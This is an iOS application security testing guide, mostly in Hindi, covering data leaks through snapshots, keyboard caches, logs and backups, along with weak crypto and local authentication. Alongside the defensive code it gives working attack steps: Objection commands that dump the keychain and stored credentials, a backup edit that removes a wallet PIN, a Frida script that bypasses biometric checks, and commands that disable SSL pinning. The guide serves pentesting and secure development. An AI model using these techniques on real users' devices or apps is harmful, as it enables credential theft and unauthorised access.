An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.

कैश को .notAllowed पर सेट करके भी बंद किया जा सकता है। यह किसी भी तरीके से कैश को स्टोर करने को बंद कर देगा, चाहे वह मेमोरी में हो या डिस्क पर।

Snapshots

जब भी आप होम बटन दबाते हैं, iOS वर्तमान स्क्रीन का स्नैपशॉट लेता है ताकि एप्लिकेशन में संक्रमण को बहुत सुचारू तरीके से किया जा सके। हालाँकि, यदि वर्तमान स्क्रीन में संवेदनशील डेटा मौजूद है, तो यह छवि में सहेजा जाएगा (जो रीबूट के दौरान बनाए रहता है)। ये स्नैपशॉट हैं जिन तक आप ऐप्स के बीच स्विच करने के लिए होम स्क्रीन पर डबल टैप करके भी पहुँच सकते हैं।

जब तक iPhone जेलब्रोकन नहीं है, हमलावर को इन स्क्रीनशॉट्स को देखने के लिए डिवाइस अनब्लॉक करने की आवश्यकता है। डिफ़ॉल्ट रूप से अंतिम स्नैपशॉट ऐप के सैंडबॉक्स में Library/Caches/Snapshots/ या Library/SplashBoard/Snapshots फ़ोल्डर में स्टोर किया जाता है (विश्वसनीय कंप्यूटर iOX 7.0 से फ़ाइल सिस्टम तक पहुँच नहीं सकते)।

इस बुरे व्यवहार को रोकने का एक तरीका यह है कि स्नैपशॉट लेने से पहले एक खाली स्क्रीन डालें या संवेदनशील डेटा को हटा दें ApplicationDidEnterBackground() फ़ंक्शन का उपयोग करके।

नीचे एक नमूना सुधार विधि है जो एक डिफ़ॉल्ट स्क्रीनशॉट सेट करेगी।

Swift:

swift

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

यह बैकग्राउंड इमेज को overlayImage.png पर सेट करता है जब भी एप्लिकेशन बैकग्राउंड में जाता है। यह संवेदनशील डेटा लीक को रोकता है क्योंकि overlayImage.png हमेशा वर्तमान दृश्य को ओवरराइड करेगा।

Keychain

iOS की कीचेन तक पहुँचने और प्रबंधित करने के लिए, Keychain-Dumper जैसे उपकरण उपलब्ध हैं, जो जेलब्रोकन डिवाइस के लिए उपयुक्त हैं। इसके अतिरिक्त, Objection समान उद्देश्यों के लिए ios keychain dump कमांड प्रदान करता है।

Credentials को स्टोर करना

NSURLCredential क्लास संवेदनशील जानकारी को सीधे कीचेन में सहेजने के लिए आदर्श है, NSUserDefaults या अन्य रैपर की आवश्यकता को बायपास करते हुए। लॉगिन के बाद क्रेडेंशियल्स को स्टोर करने के लिए, निम्नलिखित स्विफ्ट कोड का उपयोग किया जाता है:

swift

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

इन संग्रहीत क्रेडेंशियल्स को निकालने के लिए, Objection का कमांड ios nsurlcredentialstorage dump का उपयोग किया जाता है।

कस्टम कीबोर्ड और कीबोर्ड कैश

iOS 8.0 से आगे, उपयोगकर्ता कस्टम कीबोर्ड एक्सटेंशन स्थापित कर सकते हैं, जिन्हें Settings > General > Keyboard > Keyboards के तहत प्रबंधित किया जा सकता है। जबकि ये कीबोर्ड विस्तारित कार्यक्षमता प्रदान करते हैं, वे कीस्ट्रोक लॉगिंग और डेटा को बाहरी सर्वरों पर भेजने का जोखिम उठाते हैं, हालांकि उपयोगकर्ताओं को नेटवर्क एक्सेस की आवश्यकता वाले कीबोर्ड के बारे में सूचित किया जाता है। ऐप्स को संवेदनशील जानकारी के लिए कस्टम कीबोर्ड के उपयोग को प्रतिबंधित करना चाहिए।

सुरक्षा सिफारिशें:

सुरक्षा बढ़ाने के लिए तीसरे पक्ष के कीबोर्ड को निष्क्रिय करने की सलाह दी जाती है।
डिफ़ॉल्ट iOS कीबोर्ड की ऑटोकरेक्ट और ऑटो-सजेशन सुविधाओं के प्रति जागरूक रहें, जो संवेदनशील जानकारी को Library/Keyboard/{locale}-dynamic-text.dat या /private/var/mobile/Library/Keyboard/dynamic-text.dat में कैश फ़ाइलों में संग्रहीत कर सकती हैं। इन कैश फ़ाइलों की नियमित रूप से जांच की जानी चाहिए। कैश डेटा को साफ़ करने के लिए Settings > General > Reset > Reset Keyboard Dictionary के माध्यम से कीबोर्ड शब्दकोश को रीसेट करना अनुशंसित है।
नेटवर्क ट्रैफ़िक को इंटरसेप्ट करना यह प्रकट कर सकता है कि क्या एक कस्टम कीबोर्ड दूरस्थ रूप से कीस्ट्रोक्स को भेज रहा है।

टेक्स्ट फ़ील्ड कैशिंग को रोकना

UITextInputTraits प्रोटोकॉल ऑटोकरेक्शन और सुरक्षित टेक्स्ट एंट्री को प्रबंधित करने के लिए गुण प्रदान करता है, जो संवेदनशील जानकारी कैशिंग को रोकने के लिए आवश्यक है। उदाहरण के लिए, ऑटोकरेक्शन को निष्क्रिय करना और सुरक्षित टेक्स्ट एंट्री को सक्षम करना निम्नलिखित के साथ किया जा सकता है:

objectivec

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

इसके अतिरिक्त, डेवलपर्स को यह सुनिश्चित करना चाहिए कि टेक्स्ट फ़ील्ड, विशेष रूप से संवेदनशील जानकारी जैसे पासवर्ड और पिन दर्ज करने के लिए, कैशिंग को अक्षम करें autocorrectionType को UITextAutocorrectionTypeNo और secureTextEntry को YES सेट करके।

objectivec

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

लॉग्स

कोड को डिबग करने में अक्सर लॉगिंग का उपयोग किया जाता है। इसमें एक जोखिम होता है क्योंकि लॉग्स में संवेदनशील जानकारी हो सकती है। पहले, iOS 6 और इससे पहले के संस्करणों में, लॉग सभी ऐप्स के लिए सुलभ थे, जिससे संवेदनशील डेटा लीक होने का जोखिम था। अब, ऐप्स को केवल अपने लॉग्स तक पहुंचने की अनुमति है।

इन प्रतिबंधों के बावजूद, एक हमलावर जिसे अनलॉक किए गए डिवाइस तक भौतिक पहुंच है, इसे एक कंप्यूटर से कनेक्ट करके और लॉग्स को पढ़कर भुनाने में सक्षम हो सकता है। यह ध्यान रखना महत्वपूर्ण है कि ऐप के अनइंस्टॉलेशन के बाद भी लॉग डिस्क पर बने रहते हैं।

जोखिमों को कम करने के लिए, सलाह दी जाती है कि ऐप के साथ पूरी तरह से इंटरैक्ट करें, इसके सभी कार्यात्मकताओं और इनपुट्स का अन्वेषण करें ताकि यह सुनिश्चित हो सके कि कोई संवेदनशील जानकारी अनजाने में लॉग नहीं की जा रही है।

ऐप के स्रोत कोड की समीक्षा करते समय संभावित लीक के लिए, NSLog, NSAssert, NSCAssert, fprintf जैसे कीवर्ड का उपयोग करते हुए पूर्वनिर्धारित और कस्टम लॉगिंग स्टेटमेंट्स की तलाश करें, और कस्टम कार्यान्वयन के लिए Logging या Logfile का कोई उल्लेख करें।

सिस्टम लॉग्स की निगरानी

ऐप्स विभिन्न प्रकार की जानकारी लॉग करते हैं जो संवेदनशील हो सकती है। इन लॉग्स की निगरानी के लिए, उपकरण और कमांड जैसे:

bash

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

उपयोगी हैं। इसके अतिरिक्त, Xcode कंसोल लॉग एकत्र करने का एक तरीका प्रदान करता है:

Xcode खोलें।
iOS डिवाइस कनेक्ट करें।
Window -> Devices and Simulators पर जाएं।
अपने डिवाइस का चयन करें।
उस समस्या को ट्रिगर करें जिसे आप जांच रहे हैं।
नए विंडो में लॉग देखने के लिए Open Console बटन का उपयोग करें।

अधिक उन्नत लॉगिंग के लिए, डिवाइस शेल से कनेक्ट करना और socat का उपयोग करना वास्तविक समय में लॉग मॉनिटरिंग प्रदान कर सकता है:

bash

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

लॉग गतिविधियों को देखने के लिए कमांड का पालन किया गया, जो समस्याओं का निदान करने या लॉग में संभावित डेटा लीक की पहचान करने के लिए अमूल्य हो सकता है।

बैकअप

ऑटो-बैकअप सुविधाएँ iOS में एकीकृत हैं, जो iTunes (macOS Catalina तक), Finder (macOS Catalina के बाद) या iCloud के माध्यम से डिवाइस डेटा की प्रतियों के निर्माण की सुविधा प्रदान करती हैं। ये बैकअप लगभग सभी डिवाइस डेटा को शामिल करते हैं, अत्यधिक संवेदनशील तत्वों जैसे Apple Pay विवरण और Touch ID कॉन्फ़िगरेशन को छोड़कर।

सुरक्षा जोखिम

इंस्टॉल किए गए ऐप्स और उनके डेटा का बैकअप में शामिल होना संभावित डेटा लीक और बैकअप संशोधनों के कारण ऐप कार्यक्षमता में परिवर्तन का जोखिम उठाता है। इन जोखिमों को कम करने के लिए सलाह दी जाती है कि किसी भी ऐप के निर्देशिका या उसके उपनिर्देशिकाओं में संवेदनशील जानकारी को स्पष्ट पाठ में न रखें।

बैकअप से फ़ाइलें बाहर करना

Documents/ और Library/Application Support/ में फ़ाइलें डिफ़ॉल्ट रूप से बैकअप की जाती हैं। डेवलपर्स NSURL setResourceValue:forKey:error: का उपयोग करके NSURLIsExcludedFromBackupKey के साथ विशिष्ट फ़ाइलों या निर्देशिकाओं को बैकअप से बाहर कर सकते हैं। यह प्रथा संवेदनशील डेटा को बैकअप में शामिल होने से बचाने के लिए महत्वपूर्ण है।

कमजोरियों के लिए परीक्षण

किसी ऐप की बैकअप सुरक्षा का आकलन करने के लिए, पहले एक बैकअप बनाएं Finder का उपयोग करके, फिर Apple के आधिकारिक दस्तावेज़ से मार्गदर्शन प्राप्त करके इसे खोजें। संवेदनशील डेटा या कॉन्फ़िगरेशन का विश्लेषण करें जो ऐप के व्यवहार को प्रभावित करने के लिए बदला जा सकता है।

संवेदनशील जानकारी को कमांड-लाइन उपकरणों या iMazing जैसे अनुप्रयोगों का उपयोग करके खोजा जा सकता है। एन्क्रिप्टेड बैकअप के लिए, एन्क्रिप्शन की उपस्थिति की पुष्टि "Manifest.plist" फ़ाइल में "IsEncrypted" कुंजी की जांच करके की जा सकती है जो बैकअप की जड़ में होती है।

xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

एन्क्रिप्टेड बैकअप से निपटने के लिए, DinoSec's GitHub repo में उपलब्ध Python स्क्रिप्ट, जैसे backup_tool.py और backup_passwd.py, उपयोगी हो सकते हैं, हालांकि नवीनतम iTunes/Finder संस्करणों के साथ संगतता के लिए समायोजन की आवश्यकता हो सकती है। iOSbackup टूल पासवर्ड-संरक्षित बैकअप के भीतर फ़ाइलों तक पहुँचने के लिए एक और विकल्प है।

ऐप व्यवहार को संशोधित करना

बैकअप संशोधनों के माध्यम से ऐप व्यवहार को बदलने का एक उदाहरण Bither bitcoin wallet app में प्रदर्शित किया गया है, जहाँ UI लॉक PIN net.bither.plist में pin_code कुंजी के तहत संग्रहीत होता है। plist से इस कुंजी को हटाने और बैकअप को पुनर्स्थापित करने से PIN आवश्यकता समाप्त हो जाती है, जिससे बिना किसी प्रतिबंध के पहुँच मिलती है।

संवेदनशील डेटा के लिए मेमोरी परीक्षण पर सारांश

जब किसी एप्लिकेशन की मेमोरी में संग्रहीत संवेदनशील जानकारी से निपटते हैं, तो इस डेटा के एक्सपोज़र समय को सीमित करना महत्वपूर्ण है। मेमोरी सामग्री की जांच करने के लिए दो प्रमुख दृष्टिकोण हैं: मेमोरी डंप बनाना और वास्तविक समय में मेमोरी का विश्लेषण करना। दोनों विधियों में उनकी चुनौतियाँ होती हैं, जिसमें डंप प्रक्रिया या विश्लेषण के दौरान महत्वपूर्ण डेटा को चूकने की संभावना शामिल है।

मेमोरी डंप को पुनः प्राप्त करना और विश्लेषण करना

जेलब्रोकन और नॉन-जेलब्रोकन दोनों उपकरणों के लिए, objection और Fridump जैसे टूल एक ऐप की प्रक्रिया की मेमोरी को डंप करने की अनुमति देते हैं। एक बार डंप होने के बाद, इस डेटा का विश्लेषण करने के लिए विभिन्न टूल की आवश्यकता होती है, जो आप जिस जानकारी की खोज कर रहे हैं, उसकी प्रकृति पर निर्भर करता है।

मेमोरी डंप से स्ट्रिंग्स निकालने के लिए, strings या rabin2 -zz जैसे कमांड का उपयोग किया जा सकता है:

bash

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

विशिष्ट डेटा प्रकारों या पैटर्न की खोज सहित अधिक विस्तृत विश्लेषण के लिए, radare2 व्यापक खोज क्षमताएँ प्रदान करता है:

bash

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

रनटाइम मेमोरी विश्लेषण

r2frida एक शक्तिशाली विकल्प प्रदान करता है जो बिना मेमोरी डंप की आवश्यकता के वास्तविक समय में एक ऐप की मेमोरी का निरीक्षण करने के लिए है। यह उपकरण चल रहे ऐप्लिकेशन की मेमोरी पर सीधे खोज आदेशों को निष्पादित करने की अनुमति देता है:

bash

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

टूटी हुई क्रिप्टोग्राफी

खराब कुंजी प्रबंधन प्रक्रियाएँ

कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय संग्रहण में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं करना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है।

असुरक्षित और/या अप्रचलित एल्गोरिदम का उपयोग

डेवलपर्स को अप्रचलित एल्गोरिदम का उपयोग करके प्राधिकरण जांच करने, सहेजने या भेजने के लिए नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि हैश का उपयोग पासवर्ड को सहेजने के लिए किया जाता है, तो हैश ब्रूट-फोर्स प्रतिरोधी होना चाहिए और नमक के साथ होना चाहिए।

जांच

मुख्य जांच करने के लिए यह है कि क्या आप कोड में हार्डकोडेड पासवर्ड/गुप्त जानकारी पा सकते हैं, या क्या वे पूर्वानुमानित हैं, और क्या कोड किसी प्रकार के कमजोर क्रिप्टोग्राफी एल्गोरिदम का उपयोग कर रहा है।

यह जानना दिलचस्प है कि आप ऑब्जेक्शन का उपयोग करके कुछ क्रिप्टो लाइब्रेरीज़ को स्वचालित रूप से निगरानी कर सकते हैं:

swift

ios monitor crypt

अधिक जानकारी के लिए iOS क्रिप्टोग्राफिक APIs और पुस्तकालयों के बारे में https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography पर जाएं।

स्थानीय प्रमाणीकरण

स्थानीय प्रमाणीकरण एक महत्वपूर्ण भूमिका निभाता है, विशेष रूप से जब यह दूरस्थ अंत बिंदु पर क्रिप्टोग्राफिक विधियों के माध्यम से पहुंच की सुरक्षा की बात आती है। यहाँ का सार यह है कि उचित कार्यान्वयन के बिना, स्थानीय प्रमाणीकरण तंत्र को दरकिनार किया जा सकता है।

Apple का स्थानीय प्रमाणीकरण ढांचा और कीचेन उपयोगकर्ता प्रमाणीकरण संवादों को सुविधाजनक बनाने और गुप्त डेटा को सुरक्षित रूप से संभालने के लिए मजबूत APIs प्रदान करते हैं। Secure Enclave Touch ID के लिए फिंगरप्रिंट ID को सुरक्षित करता है, जबकि Face ID चेहरे की पहचान पर निर्भर करता है बिना जैविक डेटा से समझौता किए।

Touch ID/Face ID को एकीकृत करने के लिए, डेवलपर्स के पास दो API विकल्प हैं:

LocalAuthentication.framework उच्च-स्तरीय उपयोगकर्ता प्रमाणीकरण के लिए बिना जैविक डेटा तक पहुंच के।
Security.framework निम्न-स्तरीय कीचेन सेवाओं की पहुंच के लिए, जैविक प्रमाणीकरण के साथ गुप्त डेटा को सुरक्षित करना। विभिन्न ओपन-सोर्स रैपर कीचेन पहुंच को सरल बनाते हैं।

caution

हालाँकि, दोनों LocalAuthentication.framework और Security.framework कमजोरियों को प्रस्तुत करते हैं, क्योंकि वे मुख्य रूप से प्रमाणीकरण प्रक्रियाओं के लिए डेटा को संचारित किए बिना बूलियन मान लौटाते हैं, जिससे उन्हें दरकिनार करने के लिए संवेदनशील बनाते हैं (देखें Don't touch me that way, by David Lindner et al)।

स्थानीय प्रमाणीकरण को लागू करना

उपयोगकर्ताओं से प्रमाणीकरण के लिए प्रेरित करने के लिए, डेवलपर्स को LAContext वर्ग के भीतर evaluatePolicy विधि का उपयोग करना चाहिए, निम्नलिखित में से चुनते हुए:

deviceOwnerAuthentication: Touch ID या डिवाइस पासकोड के लिए प्रेरित करता है, यदि कोई भी सक्षम नहीं है तो विफल होता है।
deviceOwnerAuthenticationWithBiometrics: विशेष रूप से Touch ID के लिए प्रेरित करता है।

सफल प्रमाणीकरण evaluatePolicy से बूलियन लौटाने वाले मान द्वारा संकेतित होता है, जो एक संभावित सुरक्षा दोष को उजागर करता है।

कीचेन का उपयोग करके स्थानीय प्रमाणीकरण

iOS ऐप्स में स्थानीय प्रमाणीकरण को लागू करने में कीचेन APIs का उपयोग करना शामिल है ताकि प्रमाणीकरण टोकन जैसे गुप्त डेटा को सुरक्षित रूप से संग्रहीत किया जा सके। यह प्रक्रिया सुनिश्चित करती है कि डेटा केवल उपयोगकर्ता द्वारा, उनके डिवाइस पासकोड या जैविक प्रमाणीकरण जैसे Touch ID का उपयोग करके ही एक्सेस किया जा सके।

कीचेन SecAccessControl विशेषता के साथ आइटम सेट करने की क्षमता प्रदान करता है, जो उपयोगकर्ता के सफल प्रमाणीकरण तक आइटम तक पहुंच को प्रतिबंधित करता है। यह सुविधा सुरक्षा बढ़ाने के लिए महत्वपूर्ण है।

नीचे Swift और Objective-C में कोड उदाहरण दिए गए हैं जो दिखाते हैं कि कैसे कीचेन में एक स्ट्रिंग को सुरक्षित रूप से सहेजें और पुनः प्राप्त करें, इन सुरक्षा सुविधाओं का लाभ उठाते हुए। उदाहरण विशेष रूप से दिखाते हैं कि कैसे एक्सेस नियंत्रण स्थापित किया जाए ताकि Touch ID प्रमाणीकरण की आवश्यकता हो और सुनिश्चित करें कि डेटा केवल उसी डिवाइस पर उपलब्ध हो जिस पर इसे सेट किया गया था, इस शर्त के तहत कि एक डिवाइस पासकोड कॉन्फ़िगर किया गया है।

swift

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

objectivec

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

अब हम कीचेन से सहेजे गए आइटम को अनुरोध कर सकते हैं। कीचेन सेवाएँ उपयोगकर्ता को प्रमाणीकरण संवाद प्रस्तुत करेंगी और उपयुक्त फिंगरप्रिंट प्रदान किया गया या नहीं, इसके आधार पर डेटा या nil लौटाएँगी।

swift

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

objectivec

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

पहचान

किसी ऐप में फ्रेमवर्क के उपयोग का पता ऐप बाइनरी की साझा डायनामिक लाइब्रेरी की सूची का विश्लेषण करके लगाया जा सकता है। यह otool का उपयोग करके किया जा सकता है:

bash

$ otool -L <AppName>.app/<AppName>

यदि LocalAuthentication.framework किसी ऐप में उपयोग किया गया है, तो आउटपुट में निम्नलिखित दोनों पंक्तियाँ शामिल होंगी (याद रखें कि LocalAuthentication.framework के पीछे Security.framework का उपयोग होता है):

bash

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

यदि Security.framework का उपयोग किया गया है, तो केवल दूसरा ही दिखाया जाएगा।

स्थानीय प्रमाणीकरण ढांचे को बायपास करना

Objection

Objection Biometrics Bypass के माध्यम से, जो इस GitHub पृष्ठ पर स्थित है, LocalAuthentication तंत्र को पार करने के लिए एक तकनीक उपलब्ध है। इस दृष्टिकोण का मूल उद्देश्य Frida का उपयोग करके evaluatePolicy फ़ंक्शन में हेरफेर करना है, यह सुनिश्चित करते हुए कि यह लगातार True परिणाम देता है, वास्तविक प्रमाणीकरण सफलता की परवाह किए बिना। यह दोषपूर्ण बायोमेट्रिक प्रमाणीकरण प्रक्रियाओं को बायपास करने के लिए विशेष रूप से उपयोगी है।

इस बायपास को सक्रिय करने के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:

bash

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

यह कमांड एक अनुक्रम को सक्रिय करता है जहाँ Objection एक कार्य पंजीकृत करता है जो प्रभावी रूप से evaluatePolicy जांच के परिणाम को True में बदल देता है।

Frida

evaluatePolicy के उपयोग का एक उदाहरण DVIA-v2 application से:

swift

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

स्थानीय प्रमाणीकरण के bypass को प्राप्त करने के लिए, एक Frida स्क्रिप्ट लिखी गई है। यह स्क्रिप्ट evaluatePolicy जांच को लक्षित करती है, इसके कॉलबैक को इंटरसेप्ट करते हुए यह सुनिश्चित करती है कि यह success=1 लौटाए। कॉलबैक के व्यवहार को बदलकर, प्रमाणीकरण जांच को प्रभावी रूप से बायपास किया जाता है।

नीचे दी गई स्क्रिप्ट evaluatePolicy विधि के परिणाम को संशोधित करने के लिए इंजेक्ट की गई है। यह हमेशा सफलता को इंगित करने के लिए कॉलबैक के परिणाम को बदलती है।

swift

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Frida स्क्रिप्ट को इंजेक्ट करने और बायोमेट्रिक प्रमाणीकरण को बायपास करने के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:

bash

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

संवेदनशील कार्यक्षमता का प्रदर्शन IPC के माध्यम से

नेटवर्क संचार

यह सुनिश्चित करना महत्वपूर्ण है कि कोई संचार बिना एन्क्रिप्शन के नहीं हो रहा है और यह भी कि एप्लिकेशन सर्वर के TLS प्रमाणपत्र को सही तरीके से मान्य कर रहा है।
इन प्रकार के मुद्दों की जांच करने के लिए आप Burp जैसे प्रॉक्सी का उपयोग कर सकते हैं:

iOS Burp Suite Configuration

होस्टनेम जांच

TLS प्रमाणपत्र को मान्य करने में एक सामान्य समस्या यह है कि यह जांचना कि प्रमाणपत्र को विश्वसनीय CA द्वारा हस्ताक्षरित किया गया है, लेकिन यह नहीं जांचना कि प्रमाणपत्र का होस्टनेम वह होस्टनेम है जिसे एक्सेस किया जा रहा है।
इस मुद्दे की जांच करने के लिए Burp का उपयोग करते समय, iPhone में Burp CA को विश्वसनीय बनाने के बाद, आप एक अलग होस्टनेम के लिए Burp के साथ एक नया प्रमाणपत्र बना सकते हैं और इसका उपयोग कर सकते हैं। यदि एप्लिकेशन अभी भी काम करता है, तो कुछ न कुछ कमजोर है।

प्रमाणपत्र पिनिंग

यदि एक एप्लिकेशन सही तरीके से SSL पिनिंग का उपयोग कर रहा है, तो एप्लिकेशन केवल तभी काम करेगा जब प्रमाणपत्र वही हो जो अपेक्षित हो। जब एक एप्लिकेशन का परीक्षण करते समय यह एक समस्या हो सकती है क्योंकि Burp अपना प्रमाणपत्र प्रदान करेगा।
एक जेलब्रोकन डिवाइस के अंदर इस सुरक्षा को बायपास करने के लिए, आप SSL Kill Switch एप्लिकेशन इंस्टॉल कर सकते हैं या Burp Mobile Assistant इंस्टॉल कर सकते हैं।

आप objection's ios sslpinning disable का भी उपयोग कर सकते हैं।

विविध

/System/Library में आप फोन में सिस्टम एप्लिकेशनों द्वारा उपयोग किए जाने वाले फ्रेमवर्क पा सकते हैं।
App Store से उपयोगकर्ता द्वारा इंस्टॉल की गई एप्लिकेशन /User/Applications के अंदर स्थित हैं।
और /User/Library में उपयोगकर्ता स्तर की एप्लिकेशनों द्वारा सहेजे गए डेटा होते हैं।
आप /User/Library/Notes/notes.sqlite तक पहुँच सकते हैं ताकि एप्लिकेशन के अंदर सहेजे गए नोट्स को पढ़ सकें।
एक इंस्टॉल की गई एप्लिकेशन के फ़ोल्डर के अंदर (/User/Applications/<APP ID>/) आप कुछ दिलचस्प फ़ाइलें पा सकते हैं:
iTunesArtwork: ऐप द्वारा उपयोग किया जाने वाला आइकन
iTunesMetadata.plist: App Store में उपयोग की जाने वाली ऐप की जानकारी
/Library/*: प्राथमिकताएँ और कैश शामिल हैं। /Library/Cache/Snapshots/* में आप एप्लिकेशन को बैकग्राउंड में भेजने से पहले किए गए स्नैपशॉट को पा सकते हैं।

हॉट पैचिंग/अनिवार्य अपडेटिंग

